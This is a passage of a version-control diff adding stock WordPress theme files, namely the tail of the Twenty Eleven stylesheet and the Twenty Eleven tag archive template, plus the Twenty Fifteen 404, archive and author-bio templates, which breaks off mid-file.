+	border-width: 1px 0;
+	margin: 0 -8.9% 1.625em;
+	overflow: hidden;
+	padding: 1.625em 1.625em 0;
+	text-align: center;
+}
+.image-attachment div.attachment img {
+	display: block;
+	height: auto;
+	margin: 0 auto 1.625em;
+	max-width: 100%;
+}
+.image-attachment div.attachment a img {
+	border-color: #f9f9f9;
+}
+.image-attachment div.attachment a:focus img,
+.image-attachment div.attachment a:hover img,
+.image-attachment div.attachment a:active img {
+	border-color: #ddd;
+	background: #fff;
+}
+.image-attachment .entry-caption p {
+	font-size: 10px;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	margin: 0 0 2.6em;
+	text-transform: uppercase;
+}
+
+/* =Media
+-------------------------------------------------------------- */
+
+audio,
+video {
+	display: inline-block;
+	max-width: 100%;
+}
+
+.attachment .entry-content .mejs-container {
+	margin-bottom: 24px;
+}
+
+/* =Navigation
+-------------------------------------------------------------- */
+
+#content nav {
+	clear: both;
+	overflow: hidden;
+	padding: 0 0 1.625em;
+}
+#content nav a {
+	font-size: 12px;
+	font-weight: bold;
+	line-height: 2.2em;
+}
+#nav-above {
+	padding: 0 0 1.625em;
+}
+#nav-above {
+	display: none;
+}
+.paged #nav-above {
+	display: block;
+}
+.nav-previous {
+	float: left;
+	width: 50%;
+}
+.nav-next {
+	float: right;
+	text-align: right;
+	width: 50%;
+}
+#content nav .meta-nav {
+	font-weight: normal;
+}
+
+/* Singular navigation */
+#nav-single {
+	float: right;
+	position: relative;
+	top: -0.3em;
+	text-align: right;
+	z-index: 1;
+}
+#nav-single .nav-previous,
+#nav-single .nav-next {
+	width: auto;
+}
+#nav-single .nav-next {
+	padding-left: .5em;
+}
+#nav-single .nav-previous {
+	padding-right: .5em;
+}
+
+
+/* =Widgets
+----------------------------------------------- */
+
+.widget-area {
+	font-size: 12px;
+}
+.widget {
+	word-wrap: break-word;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+	clear: both;
+	margin: 0 0 2.2em;
+}
+.widget-title {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+.widget ul {
+	font-size: 15px;
+	margin: 0;
+}
+.widget ul ul {
+	margin-left: 1.5em;
+}
+.widget ul li {
+	color: #777;
+	font-size: 13px;
+}
+.widget a {
+	font-weight: bold;
+	text-decoration: none;
+}
+.widget a:hover,
+.widget a:focus,
+.widget a:active {
+	text-decoration: underline;
+}
+
+/* Search Widget */
+.widget_search form {
+	margin: 0 0 1.625em;
+}
+.widget_search #s {
+	width: 77%;
+}
+.widget_search #searchsubmit {
+	background: #ddd;
+	border: 1px solid #ccc;
+	-webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	-moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	color: #888;
+	font-size: 13px;
+	line-height: 25px;
+	position: relative;
+	top: -2px;
+}
+.widget_search #searchsubmit:active {
+	background: #1982d1;
+	border-color: #0861a5;
+	-webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	-moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	color: #bfddf3;
+}
+
+/* Ephemera Widget */
+section.ephemera ol,
+.widget_twentyeleven_ephemera ol {
+	list-style: square;
+	margin: 5px 0 0;
+}
+.widget_twentyeleven_ephemera .widget-entry-title {
+	font-size: 15px;
+	font-weight: bold;
+	padding: 0;
+}
+.widget_twentyeleven_ephemera .comments-link a,
+.widget_twentyeleven_ephemera .comments-link > span {
+	color: #666;
+	display: block;
+	font-size: 10px;
+	font-weight: 500;
+	line-height: 2.76333em;
+	text-transform: uppercase;
+}
+section.ephemera .entry-title .comments-link a:hover,
+.widget_twentyeleven_ephemera .entry-title .comments-link a:hover {
+}
+section.ephemera .entry-title a span {
+	color: #29628d;
+}
+
+/* Twitter */
+.widget_twitter li {
+	list-style-type: none;
+	margin-bottom: 14px;
+}
+.widget_twitter .timesince {
+	display: block;
+	font-size: 11px;
+	margin-right: -10px;
+	text-align: right;
+}
+
+/* Widget Image */
+.widget_image img,
+.widget_media_image img {
+	border: 0;
+	padding: 0;
+	height: auto;
+	max-width: 100%;
+}
+@media (min-width: 1024px) {
+	.widget_media_image .size-thumbnail {
+		padding: 6px;
+	}
+}
+
+/* Calendar Widget */
+.widget_calendar #wp-calendar {
+	color: #555;
+	width: 95%;
+	text-align: center;
+}
+.widget_calendar #wp-calendar caption,
+.widget_calendar #wp-calendar td,
+.widget_calendar #wp-calendar th {
+	text-align: center;
+}
+.widget_calendar #wp-calendar caption {
+	font-size: 11px;
+	font-weight: 500;
+	padding: 5px 0 3px 0;
+	text-transform: uppercase;
+}
+.widget_calendar #wp-calendar th {
+	background: #f4f4f4;
+	border-top: 1px solid #ccc;
+	border-bottom: 1px solid #ccc;
+	font-weight: bold;
+}
+.widget_calendar #wp-calendar tfoot td {
+	background: #f4f4f4;
+	border-top: 1px solid #ccc;
+	border-bottom: 1px solid #ccc;
+}
+
+/* Text Widget */
+.widget_text ul,
+.widget_text ol {
+	margin: 0 0 1.625em 2.5em;
+}
+.widget_text ul ul,
+.widget_text ol ol,
+.widget_text ul ol,
+.widget_text ol ul {
+	margin-bottom: 0;
+}
+
+/* Tag Cloud Widget */
+.tagcloud ul {
+	list-style-type: none;
+}
+
+.tagcloud ul li {
+	display: inline-block;
+}
+
+/* Helps galleries in widget areas look presentable in most cases. */
+#page .widget-area .gallery-columns-2 img,
+#page .widget-area .gallery-columns-3 img,
+#page .widget-area .gallery-columns-4 img,
+#page .widget-area .gallery-columns-5 img,
+#page .widget-area .gallery-columns-6 img,
+#page .widget-area .gallery-columns-7 img,
+#page .widget-area .gallery-columns-8 img,
+#page .widget-area .gallery-columns-9 img {
+	border: none;
+	max-width: 90%;
+	width: auto;
+}
+
+/* =Comments
+----------------------------------------------- */
+
+#comments-title {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	line-height: 2.6em;
+	padding: 0 0 2.6em;
+	text-transform: uppercase;
+}
+.nopassword,
+.nocomments {
+	color: #aaa;
+	font-size: 24px;
+	font-weight: 100;
+	margin: 26px 0;
+	text-align: center;
+}
+.commentlist {
+	list-style: none;
+	margin: 0 auto;
+	width: 68.9%;
+}
+.content .commentlist,
+.page-template-sidebar-page-php .commentlist {
+	width: 100%; /* reset the width for the one-column and sidebar page layout */
+}
+.commentlist > li.comment {
+	background: #f6f6f6;
+	border: 1px solid #ddd;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	margin: 0 0 1.625em;
+	padding: 1.625em;
+	position: relative;
+}
+.commentlist .pingback {
+	margin: 0 0 1.625em;
+	padding: 0 1.625em;
+}
+.commentlist .children {
+	list-style: none;
+	margin: 0;
+}
+.commentlist .children li.comment {
+	background: #fff;
+	border-left: 1px solid #ddd;
+	-moz-border-radius: 0 3px 3px 0;
+	border-radius: 0 3px 3px 0;
+	margin: 1.625em 0 0;
+	padding: 1.625em;
+	position: relative;
+}
+.commentlist .children li.comment .fn {
+	display: block;
+}
+.comment-meta .fn {
+	font-style: normal;
+}
+.comment-meta {
+	color: #666;
+	font-size: 12px;
+	line-height: 2.2em;
+}
+.commentlist .children li.comment .comment-meta {
+	line-height: 1.625em;
+	margin-left: 50px;
+}
+.commentlist .children li.comment .comment-content {
+	margin: 1.625em 0 0;
+	word-wrap: break-word;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+}
+.comment-meta a {
+	font-weight: bold;
+}
+.comment-meta a:focus,
+.comment-meta a:active,
+.comment-meta a:hover {
+}
+.commentlist .avatar {
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 1px 2px #ccc;
+	-moz-box-shadow: 0 1px 2px #ccc;
+	box-shadow: 0 1px 2px #ccc;
+	left: -102px;
+	padding: 0;
+	position: absolute;
+	top: 0;
+}
+.commentlist > li:before {
+	content: url(images/comment-arrow.png);
+	left: -21px;
+	position: absolute;
+}
+.commentlist > li.pingback:before {
+	content: '';
+}
+.commentlist .children .avatar {
+	background: none;
+	-webkit-box-shadow: none;
+	-moz-box-shadow: none;
+	box-shadow: none;
+	left: 2.2em;
+	padding: 0;
+	top: 2.2em;
+}
+a.comment-reply-link {
+	background: #eee;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	color: #666;
+	display: inline-block;
+	font-size: 12px;
+	padding: 0 8px;
+	text-decoration: none;
+}
+a.comment-reply-link:hover,
+a.comment-reply-link:focus,
+a.comment-reply-link:active {
+	background: #888;
+	color: #fff;
+}
+a.comment-reply-link > span {
+	display: inline-block;
+	position: relative;
+	top: -1px;
+}
+
+/* Post author highlighting */
+.commentlist > li.bypostauthor {
+	background: #ddd;
+	border-color: #d3d3d3;
+}
+.commentlist > li.bypostauthor .comment-meta {
+	color: #575757;
+}
+.commentlist > li.bypostauthor .comment-meta a:focus,
+.commentlist > li.bypostauthor .comment-meta a:active,
+.commentlist > li.bypostauthor .comment-meta a:hover {
+}
+.commentlist > li.bypostauthor:before {
+	content: url(images/comment-arrow-bypostauthor.png);
+}
+
+/* Post Author threaded comments */
+.commentlist .children > li.bypostauthor {
+	background: #ddd;
+	border-color: #d3d3d3;
+}
+
+/* sidebar-page.php comments */
+/* Make sure we have room for our comment avatars */
+.page-template-sidebar-page-php .commentlist > li.comment,
+.page-template-sidebar-page-php.commentlist .pingback {
+	margin-left: 102px;
+	width: auto;
+}
+/* And a full-width comment form */
+.page-template-sidebar-page-php #respond {
+	width: auto;
+}
+
+/* Comment Form */
+#respond {
+	background: #ddd;
+	border: 1px solid #d3d3d3;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	margin: 0 auto 1.625em;
+	padding: 1.625em;
+	position: relative;
+	width: 68.9%;
+}
+#respond input[type="text"],
+#respond textarea {
+	background: #fff;
+	border: 4px solid #eee;
+	-moz-border-radius: 5px;
+	border-radius: 5px;
+	-webkit-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95);
+	-moz-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95);
+	box-shadow: inset 0 1px 3px rgba(204,204,204,0.95);
+	position: relative;
+	padding: 10px;
+	text-indent: 80px;
+}
+#respond .comment-form-author,
+#respond .comment-form-email,
+#respond .comment-form-url,
+#respond .comment-form-comment {
+	position: relative;
+}
+#respond .comment-form-author label,
+#respond .comment-form-email label,
+#respond .comment-form-url label,
+#respond .comment-form-comment label {
+	background: #eee;
+	-webkit-box-shadow: 1px 2px 2px rgba(204,204,204,0.8);
+	-moz-box-shadow: 1px 2px 2px rgba(204,204,204,0.8);
+	box-shadow: 1px 2px 2px rgba(204,204,204,0.8);
+	color: #555;
+	display: inline-block;
+	font-size: 13px;
+	left: 4px;
+	min-width: 60px;
+	padding: 4px 10px;
+	position: relative;
+	top: 40px;
+	z-index: 1;
+}
+#respond input[type="text"]:focus,
+#respond textarea:focus {
+	text-indent: 0;
+	z-index: 1;
+}
+#respond textarea {
+	resize: vertical;
+	width: 95%;
+}
+#respond .comment-form-author .required,
+#respond .comment-form-email .required {
+	color: #bd3500;
+	font-size: 22px;
+	font-weight: bold;
+	left: 75%;
+	position: absolute;
+	z-index: 1;
+}
+#respond .comment-notes,
+#respond .logged-in-as {
+	font-size: 13px;
+}
+#respond p {
+	margin: 10px 0;
+}
+#respond .form-submit {
+	float: right;
+	margin: -20px 0 10px;
+}
+#respond input#submit {
+	background: #222;
+	border: none;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	-moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	color: #eee;
+	cursor: pointer;
+	font-size: 15px;
+	margin: 20px 0;
+	padding: 5px 42px 5px 22px;
+	position: relative;
+	left: 30px;
+	text-shadow: 0 -1px 0 rgba(0,0,0,0.3);
+}
+#respond input#submit:active {
+	background: #1982d1;
+	color: #bfddf3;
+}
+#respond #cancel-comment-reply-link {
+	color: #666;
+	margin-left: 10px;
+	text-decoration: none;
+}
+#respond .logged-in-as a:hover,
+#respond #cancel-comment-reply-link:hover {
+	text-decoration: underline;
+}
+.commentlist #respond {
+	margin: 1.625em 0 0;
+	width: auto;
+}
+#reply-title {
+	color: #373737;
+	font-size: 24px;
+	font-weight: bold;
+	line-height: 30px;
+}
+#cancel-comment-reply-link {
+	color: #888;
+	display: block;
+	font-size: 10px;
+	font-weight: normal;
+	line-height: 2.2em;
+	letter-spacing: 0.05em;
+	position: absolute;
+	right: 1.625em;
+	text-decoration: none;
+	text-transform: uppercase;
+	top: 1.1em;
+}
+#cancel-comment-reply-link:focus,
+#cancel-comment-reply-link:active,
+#cancel-comment-reply-link:hover {
+	color: #ff4b33;
+}
+#respond label {
+	line-height: 2.2em;
+}
+#respond input[type=text] {
+	display: block;
+	height: 24px;
+	width: 75%;
+}
+#respond p {
+	font-size: 12px;
+}
+#respond #wp-comment-cookies-consent {
+	margin: 0 10px 0 0;
+}
+p.comment-form-comment {
+	margin: 0;
+}
+.form-allowed-tags {
+	display: none;
+}
+
+
+/* =Footer
+----------------------------------------------- */
+
+#colophon {
+	clear: both;
+}
+#supplementary {
+	border-top: 1px solid #ddd;
+	padding: 1.625em 7.6%;
+	overflow: hidden;
+}
+
+/* Two Footer Widget Areas */
+#supplementary.two .widget-area {
+	float: left;
+	margin-right: 3.7%;
+	width: 48.1%;
+}
+#supplementary.two .widget-area + .widget-area {
+	margin-right: 0;
+}
+
+/* Three Footer Widget Areas */
+#supplementary.three .widget-area {
+	float: left;
+	margin-right: 3.7%;
+	width: 30.85%;
+}
+#supplementary.three .widget-area + .widget-area + .widget-area {
+	margin-right: 0;
+}
+
+/* Site Generator Line */
+#site-generator {
+	background: #f9f9f9;
+	border-top: 1px solid #ddd;
+	color: #666;
+	font-size: 12px;
+	line-height: 2.2em;
+	padding: 2.2em 0.5em;
+	text-align: center;
+}
+#site-generator a {
+	color: #555;
+	font-weight: bold;
+}
+#site-generator span[role=separator] {
+	padding: 0 0.25em 0 0.5em
+}
+#site-generator span[role=separator]::before {
+	content: '\007c';
+}
+
+
+/* =Responsive Structure
+----------------------------------------------- */
+
+/* Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+@viewport {
+	width: device-width;
+}
+
+@media (max-width: 800px) {
+	/* Simplify the basic layout */
+	#main #content {
+		margin: 0 7.6%;
+		width: auto;
+	}
+	#nav-below {
+		border-bottom: 1px solid #ddd;
+		margin-bottom: 1.625em;
+	}
+	#main #secondary {
+		float: none;
+		margin: 0 7.6%;
+		width: auto;
+	}
+	/* Simplify the showcase template */
+	.page-template-showcase-php .featured-posts {
+		min-height: 280px;
+	}
+	.featured-posts section.featured-post {
+		height: auto;
+	}
+	.page-template-showcase-php section.recent-posts {
+		float: none;
+		margin: 0;
+		width: 100%;
+	}
+	.page-template-showcase-php #main .widget-area {
+		float: none;
+		margin: 0;
+		width: auto;
+	}
+	.page-template-showcase-php .other-recent-posts {
+		border-bottom: 1px solid #ddd;
+	}
+	/* Simplify the showcase template when small feature */
+	section.featured-post .attachment-small-feature,
+	.one-column section.featured-post .attachment-small-feature {
+		border: none;
+		display: block;
+		float: left;
+		height: auto;
+		margin: 0.625em auto 1.025em;
+		max-width: 30%;
+		position: static;
+	}
+	article.feature-image.small {
+		float: right;
+		margin: 0 0 1.625em;
+		width: 64%;
+	}
+	.one-column article.feature-image.small .entry-summary {
+		height: auto;
+	}
+	article.feature-image.small .entry-summary p a {
+		left: 0;
+		padding-left: 20px;
+		padding-right: 20px;
+		width: auto;
+	}
+	/* Remove the margin on singular articles */
+	.singular .entry-header,
+	.singular .entry-content,
+	.singular footer.entry-meta,
+	.singular #comments-title {
+		width: 100%;
+	}
+	/* Simplify the pullquotes and pull styles */
+	.singular blockquote.pull {
+		margin: 0 0 1.625em;
+	}
+	.singular .pull.alignleft {
+		margin: 0 1.625em 0 0;
+	}
+	.singular .pull.alignright {
+		margin: 0 0 0 1.625em;
+	}
+	.singular .entry-meta .edit-link a {
+		left: 0;
+		position: absolute;
+		top: 40px;
+	}
+	.singular #author-info {
+		margin: 2.2em -8.8% 0;
+		padding: 20px 8.8%;
+	}
+	/* Make sure we have room for our comment avatars */
+	.commentlist {
+		width: 100%;
+	}
+	.commentlist > li.comment,
+	.commentlist .pingback {
+		margin-left: 102px;
+		width: auto;
+	}
+	/* And a full-width comment form */
+	#respond {
+		width: auto;
+	}
+	/* No need to float footer widgets at this size */
+	#colophon #supplementary .widget-area {
+		float: none;
+		margin-right: 0;
+		width: auto;
+	}
+	/* No need to float 404 widgets at this size */
+	.error404 #main .widget {
+		float: none;
+		margin-right: 0;
+		width: auto;
+	}
+}
+@media (max-width: 650px) {
+	/* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */
+	body, input, textarea {
+		font-size: 13px;
+	}
+	#site-title a {
+		font-size: 24px;
+	}
+	#site-description {
+		font-size: 12px;
+	}
+	#access ul {
+		font-size: 12px;
+	}
+	#branding .only-search + #access div {
+		padding-right: 0;
+	}
+	article.intro .entry-content {
+		font-size: 12px;
+	}
+	.entry-title {
+		font-size: 21px;
+	}
+	.featured-post .entry-title {
+		font-size: 14px;
+	}
+	.singular .entry-title {
+		font-size: 28px;
+	}
+	.entry-meta {
+		font-size: 12px;
+	}
+	blockquote {
+		margin: 0;
+	}
+	blockquote.pull {
+		font-size: 17px;
+	}
+	/* Reposition the site title and description slightly */
+	#site-title {
+		padding: 5.30625em 0 0;
+	}
+	#site-title,
+	#site-description {
+		margin-right: 0;
+	}
+	/* Make sure the logo and search form don't collide */
+	#branding #searchform {
+		top: 1.625em !important;
+	}
+	/* Floated content doesn't work well at this size */
+	.alignleft,
+	.alignright {
+		display: block;
+		float: none;
+		margin-left: 0;
+		margin-right: 0;
+	}
+	/* Make sure the post-post navigation doesn't collide with anything */
+	#nav-single {
+		display: block;
+		position: static;
+	}
+	.singular .hentry {
+		padding: 1.625em 0 0;
+	}
+	.singular.page .hentry {
+		padding: 1.625em 0 0;
+	}
+	.singular .entry-header .entry-meta,
+	.singular .entry-header .entry-format,
+	.singular .entry-meta .edit-link a {
+		position: static;
+	}
+	/* Talking avatars take up too much room at this size */
+	.commentlist > li.comment,
+	.commentlist > li.pingback {
+		margin-left: 0 !important;
+	}
+	.commentlist .avatar {
+		background: transparent;
+		display: block;
+		padding: 0;
+		position: static;
+	}
+	.commentlist .children .avatar {
+		background: none;
+		left: 2.2em;
+		padding: 0;
+		position: absolute;
+		top: 2.2em;
+	}
+	/* Use the available space in the smaller comment form */
+	#respond input[type="text"] {
+		width: 95%;
+	}
+	#respond .comment-form-author .required,
+	#respond .comment-form-email .required {
+		left: 95%;
+	}
+	#content .gallery-columns-3 .gallery-item {
+		width: 31%;
+		padding-right: 2%;
+	}
+	#content .gallery-columns-3 .gallery-item img {
+		width: 100%;
+		height: auto;
+	}
+}
+@media (max-width: 450px) {
+	#content .gallery-columns-2 .gallery-item {
+		width: 45%;
+		padding-right: 4%;
+	}
+	#content .gallery-columns-2 .gallery-item img {
+		width: 100%;
+		height: auto;
+	}
+}
+@media only screen and (min-device-width: 320px) and (max-device-width: 480px) {
+	body {
+		padding: 0;
+	}
+	#page {
+		margin-top: 0;
+	}
+	#branding {
+		border-top: none;
+	}
+}
+
+
+/* =Print
+----------------------------------------------- */
+
+@media print {
+	body {
+		background: none !important;
+		font-size: 10pt;
+	}
+	footer.entry-meta a[rel=bookmark]:link:after,
+	footer.entry-meta a[rel=bookmark]:visited:after {
+		content: " [" attr(href) "] "; /* Show URLs */
+	}
+	#page {
+		clear: both !important;
+		display: block !important;
+		float: none !important;
+		max-width: 100%;
+		position: relative !important;
+	}
+	#branding {
+		border-top: none !important;
+		padding: 0;
+	}
+	#branding hgroup {
+		margin: 0;
+	}
+	#site-title a {
+		font-size: 21pt;
+	}
+	#site-description {
+		font-size: 10pt;
+	}
+	#branding #searchform {
+		display: none;
+	}
+	#branding img {
+		display: none;
+	}
+	#access {
+		display: none;
+	}
+	#main {
+		border-top: none;
+		box-shadow: none;
+	}
+	#primary {
+		float: left;
+		margin: 0;
+		width: 100%;
+	}
+	#content {
+		margin: 0;
+		width: auto;
+	}
+	.singular #content {
+		margin: 0;
+		width: 100%;
+	}
+	.singular .entry-header .entry-meta {
+		position: static;
+	}
+	.entry-meta .edit-link a {
+		display: none;
+	}
+	#content nav {
+		display: none;
+	}
+	.singular .entry-header,
+	.singular .entry-content,
+	.singular footer.entry-meta,
+	.singular #comments-title {
+		margin: 0;
+		width: 100%;
+	}
+	.singular .hentry {
+		padding: 0;
+	}
+	.entry-title,
+	.singular .entry-title {
+		font-size: 21pt;
+	}
+	.entry-meta {
+		font-size: 10pt;
+	}
+	.entry-header .comments-link {
+		display: none;
+	}
+	.page-link {
+		display: none;
+	}
+	.singular #author-info {
+		background: none;
+		border-bottom: none;
+		border-top: none;
+		margin: 2.2em 0 0;
+		padding: 0;
+	}
+	#respond {
+		display: none;
+	}
+	.widget-area {
+		display: none;
+	}
+	#colophon {
+		display: none;
+	}
+
+	/* Comments */
+	.commentlist > li.comment {
+		background: none;
+		border: 1px solid #ddd;
+		-moz-border-radius: 3px 3px 3px 3px;
+		border-radius: 3px 3px 3px 3px;
+		margin: 0 auto 1.625em;
+		padding: 1.625em;
+		position: relative;
+		width: auto;
+	}
+	.commentlist .avatar {
+		height: 39px;
+		left: 2.2em;
+		top: 2.2em;
+		width: 39px;
+	}
+	.commentlist li.comment .comment-meta {
+		line-height: 1.625em;
+		margin-left: 50px;
+	}
+	.commentlist li.comment .fn {
+		display: block;
+	}
+	.commentlist li.comment .comment-content {
+		margin: 1.625em 0 0;
+	}
+	.commentlist .comment-edit-link {
+		display: none;
+	}
+	.commentlist > li::before,
+	.commentlist > li.bypostauthor::before {
+		content: '';
+	}
+	.commentlist .reply {
+		display: none;
+	}
+
+	/* Post author highlighting */
+	.commentlist > li.bypostauthor {
+		color: #444;
+	}
+	.commentlist > li.bypostauthor .comment-meta {
+		color: #666;
+	}
+	.commentlist > li.bypostauthor:before {
+		content: none;
+	}
+
+	/* Post Author threaded comments */
+	.commentlist .children > li.bypostauthor {
+		background: #fff;
+		border-color: #ddd;
+	}
+	.commentlist .children > li.bypostauthor > article,
+	.commentlist .children > li.bypostauthor > article .comment-meta {
+		color: #666;
+	}
+}
+
+
+/* =IE7
+----------------------------------------------- */
+
+#ie7 article.intro {
+	margin-left: -7.6%;
+	margin-right: -7.6%;
+	padding-left: -7.6%;
+	padding-right: -7.6%;
+	max-width: 1000px;
+}
+#ie7 .featured-posts {
+	margin: 0 -7.6%;
+}
+#ie7 .featured-post {
+	margin-left: 0;
+	margin-right: 0;
+	max-width: 100%;
+}
+#ie7 section.recent-posts {
+	margin-right: 7.6%;
+}
+
+
+/* =IE8
+----------------------------------------------- */
+
+#ie8 section.feature-image.large img {
+	width: auto;
+}
+#ie8 section.featured-post .attachment-small-feature {
+	max-width: none;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/tag.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/tag.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/tag.php	(revision 56912)
@@ -0,0 +1,75 @@
+<?php
+/**
+ * Template used to display Tag Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<header class="page-header">
+					<h1 class="page-title"><?php
+						printf( __( 'Tag Archives: %s', 'twentyeleven' ), '<span>' . single_tag_title( '', false ) . '</span>' );
+					?></h1>
+
+					<?php
+						$tag_description = tag_description();
+						if ( ! empty( $tag_description ) ) {
+							/**
+							 * Filter the default Twenty Eleven tag description.
+							 *
+							 * @since Twenty Eleven 1.0
+							 *
+							 * @param string The default tag description.
+							 */
+							echo apply_filters( 'tag_archive_meta', '<div class="tag-archive-meta">' . $tag_description . '</div>' );
+						}
+					?>
+				</header>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/*
+						 * Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that
+						 * will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/404.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/404.php	(revision 56912)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * The template for displaying 404 pages (not found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+			<section class="error-404 not-found">
+				<header class="page-header">
+					<h1 class="page-title"><?php _e( 'Oops! That page can&rsquo;t be found.', 'twentyfifteen' ); ?></h1>
+				</header><!-- .page-header -->
+
+				<div class="page-content">
+					<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentyfifteen' ); ?></p>
+
+					<?php get_search_form(); ?>
+				</div><!-- .page-content -->
+			</section><!-- .error-404 -->
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/archive.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/archive.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/archive.php	(revision 56912)
@@ -0,0 +1,64 @@
+<?php
+/**
+ * The template for displaying archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * If you'd like to further customize these archive views, you may create a
+ * new template file for each one. For example, tag.php (Tag archives),
+ * category.php (Category archives), author.php (Author archives), etc.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<?php
+					the_archive_title( '<h1 class="page-title">', '</h1>' );
+					the_archive_description( '<div class="taxonomy-description">', '</div>' );
+				?>
+			</header><!-- .page-header -->
+
+			<?php
+			// Start the Loop.
+			while ( have_posts() ) : the_post();
+
+				/*
+				 * Include the Post-Format-specific template for the content.
+				 * If you want to override this in a child theme, then include a file
+				 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			the_posts_pagination( array(
+				'prev_text'          => __( 'Previous page', 'twentyfifteen' ),
+				'next_text'          => __( 'Next page', 'twentyfifteen' ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>',
+			) );
+
+		// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'content', 'none' );
+
+		endif;
+		?>
+
+		</main><!-- .site-main -->
+	</section><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/author-bio.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/author-bio.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/author-bio.php	(revision 56912)
@@ -0,0 +1,39 @@
+<?php
+/**
+ * The template for displaying Author bios
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+<div class="author-info">
+	<h2 class="author-heading"><?php _e( 'Published by', 'twentyfifteen' ); ?></h2>
+	<div class="author-avatar">
+		<?php
+		/**
+		 * Filter the author bio avatar size.
+		 *
+		 * @since Twenty Fifteen 1.0
+		 *
+		 * @param int $size The avatar height and width size in pixels.
+		 */
+		$author_bio_avatar_size = apply_filters( 'twentyfifteen_author_bio_avatar_size', 56 );
+
+		echo get_avatar( get_the_author_meta( 'user_email' ), $author_bio_avatar_size );
+		?>
+	</div><!-- .author-avatar -->
+
+	<div class="author-description">
+		<h3 class="author-title"><?php echo get_the_author(); ?></h3>
+
